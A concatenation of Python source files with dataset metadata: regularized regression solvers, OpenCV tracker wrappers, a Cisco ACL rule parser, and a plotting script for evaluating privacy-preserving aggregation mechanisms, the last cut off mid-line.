Elastic net regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}||_2^2 \bigr) Args: beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,D) data matrix. lambda_total (float): must be non-negative. total regularization penalty strength. alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ lambda1 = alpha * lambda_total lambda2 = (1.0 - alpha) * lambda_total N, D = X.shape beta_old = beta.copy() delta_beta = np.ones(D, dtype=np.float64) + tol rho = np.ones(D, dtype=np.float64) + tol iter_num = 0 converged = False while not converged and iter_num < max_iter: iter_num += 1 for j in range(D): rho[j] = np.dot(X[:, j], r) / N beta[j] = math.soft_thresh(lambda1, beta_old[j] + rho[j]) / (1 + lambda2) delta_beta[j] = beta[j] - beta_old[j] r -= X[:, j] * delta_beta[j] beta_old[j] = beta[j] converged = np.max(np.abs(delta_beta)) < tol return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def general_plastic_net_( beta, r, X, xi, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000 ): r""" general_plastic_net_(beta, r, X, xi, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000) General plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}-\vec{\xi}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}-\vec{\zeta}||_2^2 \bigr) Args: beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,P) data matrix. xi (numpy.ndarray): shape (P,) target for L1 penalty. zeta (numpy.ndarray): shape (P,) target for L2 penalty. lambda_total (float): must be non-negative. total regularization penalty strength. alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ lambda1 = alpha * lambda_total lambda2 = (1.0 - alpha) * lambda_total N, D = X.shape beta_old = beta.copy() delta_beta = np.ones(D, dtype=np.float64) + tol rho = np.ones(D, dtype=np.float64) + tol iter_num = 0 converged = False while not converged and iter_num < max_iter: iter_num += 1 for j in range(D): rho[j] = np.dot(X[:, j], r) / N beta[j] = ( math.soft_thresh( lambda1, beta_old[j] + rho[j] + lambda2 * zeta[j] - (1 + lambda2) * xi[j], ) / (1 + lambda2) + xi[j] ) delta_beta[j] = beta[j] - beta_old[j] r -= X[:, j] * delta_beta[j] beta_old[j] = beta[j] converged = np.max(np.abs(delta_beta)) < tol return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def plastic_ridge_(beta, r, X, zeta, lambda_total=1.0, tol=1e-8, max_iter=1000): r""" plastic_ridge_(beta, r, X, zeta, lambda_total=1.0, tol=1e-8, max_iter=1000) Plastic ridge regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \tfrac{1}{2} ||\vec{\beta}-\vec{\zeta}||_2^2 Args: beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,P) data matrix. zeta (numpy.ndarray): shape (P,) target for L2 penalty. lambda_total (float): must be non-negative. total regularization penalty strength. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape converged, iter_num = general_plastic_net_( beta, r, X, np.zeros(D, dtype=np.float64), zeta, lambda_total=lambda_total, alpha=0.0, tol=tol, max_iter=max_iter, ) return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def plastic_lasso_(beta, r, X, xi, lambda_total=1.0, tol=1e-8, max_iter=1000): r""" plastic_lasso_(beta, r, X, xi, lambda_total=1.0, tol=1e-8, max_iter=1000) Plastic lasso regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda ||\vec{\beta}-\vec{\xi}||_1 Args: beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,P) data matrix. xi (numpy.ndarray): shape (P,) target for L1 penalty. lambda_total (float): must be non-negative. total regularization penalty strength. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape converged, iter_num = general_plastic_net_( beta, r, X, xi, np.zeros(D, dtype=np.float64), lambda_total=lambda_total, alpha=1.0, tol=tol, max_iter=max_iter, ) return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def hard_plastic_net_( beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000 ): r""" hard_plastic_net_(beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000) Hard plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}-\vec{\xi}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}||_2^2 \bigr) Args: beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,P) data matrix. xi (numpy.ndarray): shape (P,) target for L1 penalty. lambda_total (float): must be non-negative. total regularization penalty strength. alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape converged, iter_num = general_plastic_net_( beta, r, X, xi, np.zeros(D, dtype=np.float64), lambda_total=lambda_total, alpha=alpha, tol=tol, max_iter=max_iter, ) return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def soft_plastic_net_( beta, r, X, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000 ): r""" soft_plastic_net_(beta, r, X, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000) Soft plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}-\vec{\zeta}||_2^2 \bigr) Args: beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,P) data matrix. zeta (numpy.ndarray): shape (P,) target for L2 penalty. lambda_total (float): must be non-negative. total regularization penalty strength. alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape converged, iter_num = general_plastic_net_( beta, r, X, np.zeros(D, dtype=np.float64), zeta, lambda_total=lambda_total, alpha=alpha, tol=tol, max_iter=max_iter, ) return (converged, iter_num) @jit(nopython=True, nogil=True, cache=True) # pragma: no cover def unified_plastic_net_( beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000 ): r""" unified_plastic_net_(beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000) Unified plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes .. math:: \tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}-\vec{\xi}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}-\vec{\xi}||_2^2 \bigr) Args: beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place. r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place. X (numpy.ndarray): shape (N,P) data matrix. xi (numpy.ndarray): shape (P,) target for both L1 and L2 penalties. lambda_total (float): must be non-negative. total regularization penalty strength. alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty. tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**. max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met. Note **beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`. """ N, D = X.shape converged, iter_num = general_plastic_net_( beta, r, X, xi, xi, lambda_total=lambda_total, alpha=alpha, tol=tol, max_iter=max_iter, ) return (converged, iter_num)

46.686099

320

0.615983

3,235

20,822

3.890572

0.052859

0.035595

0.049976

0.019069

0.967583

0.964564

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0.95932

0.958605

0

0.023195

0.229757

20,822

445

321

46.791011

0.761566

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0

1

0

1

0

null

0

7

e1e3e7f7ef4fa64fba1f16c98e9b760e85219746

6,468

py

Python

object_tracking/tracker.py

MrRiahi/Object-Detection-and-Tracking-OpenCV

16f670d47e0a5b3aa8849e2d5a97e7d8998b0002

[ "MIT" ]

null

object_tracking/tracker.py

MrRiahi/Object-Detection-and-Tracking-OpenCV

16f670d47e0a5b3aa8849e2d5a97e7d8998b0002

[ "MIT" ]

null

object_tracking/tracker.py

MrRiahi/Object-Detection-and-Tracking-OpenCV

16f670d47e0a5b3aa8849e2d5a97e7d8998b0002

[ "MIT" ]

null

import numpy as np import cv2 # ------------------------------------------------------------------------- class MILTracker: def __init__(self): self.tracker = None def init(self, frame, bbox): """ Initialize the MIL tracker. :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.TrackerMIL_create() self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class KCFTracker: def __init__(self): self.tracker = None def init(self, frame, bbox): """ Initialize the KCF tracker. :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.TrackerKCF_create() self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class CSRTTracker: def __init__(self): self.tracker = None def init(self, frame, bbox): """ Initialize the CSRT tracker :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.TrackerCSRT_create() self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class MOSSETacker: def __init__(self): self.tracker = None def init(self, frame, bbox): """ Initialize the MOSSE tracker :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.legacy.TrackerMOSSE_create() self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class TLDTracker: def __init__(self): self.tracker = None def init(self, frame, bbox): """ Initialize the TLD tracker :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.legacy.TrackerTLD_create() self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class BoostingTracker: def __init__(self): self.tracker = None def init(self, frame, bbox): """ Initialize the Boosting tracker :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.legacy.TrackerBoosting_create() self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class DaSiamRPNTacker: def __init__(self): self.tracker = None self.params = cv2.TrackerDaSiamRPN_Params() self.params.model = './object_tracking/models/dasiamrpn/dasiamrpn_model.onnx' self.params.kernel_cls1 = './object_tracking/models/dasiamrpn/dasiamrpn_kernel_cls1.onnx' self.params.kernel_r1 = './object_tracking/models/dasiamrpn/dasiamrpn_kernel_r1.onnx' def init(self, frame, bbox): """ Initialize the DaSiamRPN tracker :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.TrackerDaSiamRPN_create(self.params) self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox # ------------------------------------------------------------------------- class GOTURNTracker: def __init__(self): self.tracker = None self.params = cv2.TrackerGOTURN_Params() self.params.modelTxt = './object_tracking/models/goturn/goturn.prototxt' self.params.modelBin = './object_tracking/models/goturn/goturn.caffemodel' def init(self, frame, bbox): """ Initialize the GOTURN tracker :param frame: first frame for initialization. :param bbox: the first bounding box of the object. :return: """ self.tracker = cv2.TrackerGOTURN_create(self.params) self.tracker.init(frame, bbox) def update(self, frame): """ Track the object in the frame and return its bounding box. :param frame: first frame for initialization. :return: """ ret, bbox = self.tracker.update(frame) return ret, bbox

26.617284

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0.542981

667

6,468

5.184408

0.101949

0.101793

0.050896

0.092539

0.874783

0.845286

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0.800752

0.778195

0

0.003233

0.282622

6,468

242

98

26.727273

0.742026

0.399969

0

0.691358

0

0.085086

0

1

0.296296

false

0

0.024691

0

0.518519

0

null

0

1

0

null

0

1

0

1

0

8

e1f2216a0f6a365ab6ed2acc5db92b92ac880bf9

10,678

py

Python

acl.py

Zogheen/it254DetectACLAnomalies

bfda3cb3b25c5e35ec807650013799e8787b0257

[ "MIT" ]

null

acl.py

Zogheen/it254DetectACLAnomalies

bfda3cb3b25c5e35ec807650013799e8787b0257

[ "MIT" ]

null

acl.py

Zogheen/it254DetectACLAnomalies

bfda3cb3b25c5e35ec807650013799e8787b0257

[ "MIT" ]

null

#!/usr/bin/env python3 import re class acl: def __init__(self, **kwargs): self.text = kwargs.get('text', '') self.parse(self.text) def parse(self, text): self.list = re.findall("\s(\S+)", text) self.index = 0 self.group = self.list[self.index] self.index +=1 if self.list[self.index].lower() == 'dynamic': index +=2 if self.list[self.index].lower() == 'timeout': index +=2 self.rule = self.list[self.index] self.index +=1 self.protocol = self.list[self.index] self.index +=1 if self.protocol.lower() == 'icmp': if self.list[self.index] == 'any': self.source = acl.src('any','any','any') self.index+=3 else: self.source = acl.src(self.list[self.index], self.list[self.index+1], 'any') self.index+=3 if self.list[self.index] == 'any': self.dest = acl.dst('any','any','any') self.index+=3 else: self.dest = acl.dst(self.list[self.index], self.list[self.index+1], 'any') self.index+=3 elif self.protocol.lower() == 'tcp' or self.protocol.lower() == 'udp' or self.protocol.lower() == 'ip': #Source if self.list[self.index] == 'any': if self.list[self.index+1] == 'eq': self.source = acl.src('any','any',self.list[self.index+2]) self.index+=3 elif self.list[self.index+1] == 'gt': self.source = acl.src('any','any',self.list[self.index+3], self.list[self.index+2]) self.index+=3 elif self.list[self.index+1] == 'lt': self.source = acl.src('any','any',self.list[self.index+3], self.list[self.index+2]) self.index+=3 elif self.list[self.index+1] == 'neq': self.source = acl.src('any','any',self.list[self.index+3], self.list[self.index+2]) self.index+=3 self.index+=3 else: self.source = acl.src('any','any','any') self.index+=1 else: if self.list[self.index+2] == 'eq': self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3]) self.index+=4 elif self.list[self.index+2] == 'gt': self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3], self.list[self.index+2]) self.index+=4 elif self.list[self.index+2] == 'lt': self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3], self.list[self.index+2]) self.index+=4 elif self.list[self.index+2] == 'neq': self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3], self.list[self.index+2]) self.index+=4 else: self.source = acl.src(self.list[self.index],self.list[self.index+1],'any') self.index+=2 #Destination if self.list[self.index] == 'any': if self.index+1 < len(self.list)-1: if self.list[self.index+1] == 'eq': self.dest = acl.dst('any','any',self.list[self.index+2]) elif self.list[self.index+1] == 'gt': self.dest = acl.dst('any','any',self.list[self.index+2],self.list[self.index+1]) elif self.list[self.index+1] == 'lt': self.dest = acl.dst('any','any',self.list[self.index+2],self.list[self.index+1]) elif self.list[self.index+1] == 'neq': self.dest = acl.dst('any','any',self.list[self.index+2],self.list[self.index+1]) self.index+=4 else: self.dest = acl.dst('any','any','any') self.index+=1 else: self.dest = acl.dst('any','any','any') self.index+=1 else: if self.index+2 < len(self.list)-1: if self.list[self.index+2] == 'eq': self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3]) elif self.list[self.index+2] == 'gt': self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3],self.list[self.index+2]) elif self.list[self.index+2] == 'lt': self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3],self.list[self.index+2]) elif self.list[self.index+2] == 'neq': self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3],self.list[self.index+2]) self.index+=4 else: self.dest = acl.dst(self.list[self.index],self.list[self.index+1],'any') self.index+=3 else: self.dest = acl.dst(self.list[self.index],self.list[self.index+1],'any') self.index+=3 if self.index < len(self.list)-1: if self.list[self.index+1] == 'established': self.established = True else: self.established = False else: self.established = False else: if self.list[self.index]: if self.list[self.index] == 'any': self.source = acl.src('any','any','any') self.index+=1 else: self.source = acl.src(self.list[self.index], self.list[self.index+1], 'any') self.index+=2 if self.list[self.index] == 'any': self.dest = acl.dst('any','any','any') self.index+=3 else: self.dest = acl.dst(self.list[self.index], self.list[self.index+1], 'any') self.index+=3 pass pass def tostring(self): return [self.group, self.rule, self.protocol, self.source.tostring(), self.dest.tostring(), self.established] class src: def __init__(self, *args): self.addr = args[0] self.mask = args[1] if self.addr == 'any': self.addr = "..." else: tmp = self.mask.split(".") count = 0 for i in tmp: if i == '255': count += 1 tmp2 = self.addr.split(".") for i in range(count): tmp2.pop() self.addr = ".".join(tmp2) for i in range(self.addr.count("."), 3): self.addr += "." self.port = args[2] if (len(args) > 3): self.mod = args[4] if self.port == 'http': self.port = 80 if self.port == 'www': self.port = 80 if self.port == 'https': self.port = 443 if self.port == 'smtp': self.port = 25 if self.port == 'ftp': self.port = 21 if self.port == 'telnet': self.port = 23 if self.port == 'ssh': self.port = 22 if self.port == 'dns': self.port = 53 if self.port == 'dhcp': self.port = 67 elif self.port == 'any': self.port = 0 def tostring(self): return [self.addr, self.port] def encompass(self, ip): tmp1 = self.addr.split(".") tmp2 = ip.addr.split(".") for i in range(0, len(tmp1)): if tmp1[i] == '': return True if tmp1[i] != tmp2[i]: return False return True class dst: def __init__(self, *args): self.addr = args[0] self.mask = args[1] if self.addr == 'any': self.addr = "..." else: tmp = self.mask.split(".") count = 0 for i in tmp: if i == '255': count += 1 tmp2 = self.addr.split(".") for i in range(count): tmp2.pop() self.addr = ".".join(tmp2) for i in range(self.addr.count("."), 3): self.addr += "." self.port = args[2] if (len(args) > 3): self.mod = args[4] elif self.port == 'http': self.port = 80 elif self.port == 'www': self.port = 80 elif self.port == 'https': self.port = 443 elif self.port == 'smtp': self.port = 25 elif self.port == 'ftp': self.port = 21 elif self.port == 'telnet': self.port = 23 elif self.port == 'ssh': self.port = 22 elif self.port == 'dns': self.port = 53 elif self.port == 'dhcp': self.port = 67 elif self.port == 'any': self.port = 0 elif self.port.isnumeric(): self.port = int(self.port) def tostring(self): return [self.addr, self.port] def encompass(self, ip): tmp1 = self.addr.split(".") tmp2 = ip.addr.split(".") for i in range(0, len(tmp1)): if tmp1[i] == '': return True if tmp1[i] != tmp2[i]: return False return True #self.group, self.rule, self.protocol, self.source, = re.findall("^access-list\s(\S+)\s(\S+)\s(\S+)\s(\S+)\s(\S+)\s(\S+)", text)

42.883534

139

0.427327

1,245

10,678

3.655422

0.074699

0.235333

0.2294

0.324984

0.891672

0.874753

0.784663

0.773237

0.718963

0.68886

0

0.02904

0.422738

10,678

248

140

43.056452

0.70928

0.015546

0

0.791304

0

0.033333

0

1

0.03913

false

0.017391

0.004348

0.013043

0.095652

0

null

1

0

1

0

null

0

10

e1fea6b0eb7239fd26143f3b099de5deb511ccdc

27,828

py

Python

Evaluation/plot_param.py

Martin-Bauer/privacy-aware-ppinot

a707dcb238be53c8d1b61094e0d0733f231e5b8e

[ "MIT" ]

2

2020-01-18T22:16:26.000Z

2021-04-27T15:51:32.000Z

Evaluation/plot_param.py

Martin-Bauer/privacy-aware-ppinot

a707dcb238be53c8d1b61094e0d0733f231e5b8e

[ "MIT" ]

null

Evaluation/plot_param.py

Martin-Bauer/privacy-aware-ppinot

a707dcb238be53c8d1b61094e0d0733f231e5b8e

[ "MIT" ]

1

2021-12-17T12:06:46.000Z

import numpy as np import random import matplotlib.pyplot as plt import seaborn as sns import pandas as pd def main(): font = {'family' : 'normal', #'weight' : 'bold', 'size' : 22} plt.rc('font', **font) data = pd.read_csv("evaluation_params.csv",sep=";") sns.set(font_scale=1.5) sns.set_style("ticks") #parameter analysis print("Target Value") plot_target_value_impact(data) print("Falloff Factor") plot_falloff_factor_impact(data) print("Extension Factor") plot_extension_impact(data) print("No of Values") plot_no_of_values_impact(data) print("No of Values") plot_distribution_impact(data) #compare different mechanisms using ideal parameter settings for different epsilon print("Sum Mechanisms") plot_sum_comparison(data) print("Mean Mechanisms") plot_avg_comparison(data) print("Min & Max Mechanisms") plot_minmax_comparison(data) print("Derived Measure") plot_derived_comparison(data) def plot_target_value_impact(data): avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] min_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] max_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=4,constrained_layout=True) sns.boxplot(x="Target", y="Result", data=avg_df, color="lightblue",ax=axes[0]) labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['w/o','-10','+10'] axes[0].set_xticklabels(labels) axes[0].set_title('Mean') axes[0].set_ylim(0,200) sns.boxplot(x="Target", y="Result", data=sum_df, color="lightblue",ax=axes[1]) axes[1].set_title('Sum') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['w/o','-100','+100'] axes[1].set_xticklabels(labels) axes[1].set_ylim(0,40000) sns.boxplot(x="Target", y="Result", data=min_df, color="lightblue",ax=axes[2]) axes[2].set_title('Min') labels = [item.get_text() for item in axes[2].get_xticklabels()] labels = ['w/o','-10','+10'] axes[2].set_xticklabels(labels) axes[2].set_ylim(0,200) sns.boxplot(x="Target", y="Result", data=max_df, color="lightblue",ax=axes[3]) axes[3].set_title('Max') labels = [item.get_text() for item in axes[3].get_xticklabels()] labels = ['w/o','-10','+10'] axes[3].set_xticklabels(labels) axes[3].set_ylim(0,200) for ax in axes: ax.tick_params(axis='x',labelrotation=90)#, length=6, width=2) ax.tick_params(axis='both', which='major') ax.set_xlabel('Target Value') ax.set_ylabel('') axes[0].set_ylabel('Result') axes[0].xaxis.labelpad=8 axes[2].xaxis.labelpad=8 axes[3].xaxis.labelpad=8 axes[0].axhline(97.765,color="blue",zorder=10) axes[1].axhline(19553.0,color="blue",zorder=10) axes[2].axhline(28.0,color="blue",zorder=10) axes[3].axhline(170.0,color="blue",zorder=10) #ax1.tick_params(length=6, width=2) #f.subplots_adjust(wspace=1.0,top=0.55) f.set_size_inches( 10.4, 3) f.show() f.savefig("plots/target_value.pdf",format="pdf") return def plot_falloff_factor_impact(data): avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp_falloff') &(data['Target']==87.765) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)] sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp_falloff') &(data['Target']==19453.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)] min_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp_falloff') &(data['Target']==18.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)] max_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp_falloff') &(data['Target']==180.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=4,constrained_layout=True) sns.boxplot(x="Falloff Factor", y="Result", data=avg_df, color="lightblue",ax=axes[0]) axes[0].set_title('Mean') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['1','5','10','20'] axes[0].set_xticklabels(labels) axes[0].set_ylim(0,200) sns.boxplot(x="Falloff Factor", y="Result", data=sum_df, color="lightblue",ax=axes[1]) axes[1].set_title('Sum') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['1','5','10','20'] axes[1].set_xticklabels(labels) axes[1].set_ylim(0,40000) sns.boxplot(x="Falloff Factor", y="Result", data=min_df, color="lightblue",ax=axes[2]) axes[2].set_title('Min') labels = [item.get_text() for item in axes[2].get_xticklabels()] labels = ['1','5','10','20'] axes[2].set_xticklabels(labels) axes[2].set_ylim(0,200) sns.boxplot(x="Falloff Factor", y="Result", data=max_df, color="lightblue",ax=axes[3]) axes[3].set_title('Max') labels = [item.get_text() for item in axes[3].get_xticklabels()] labels = 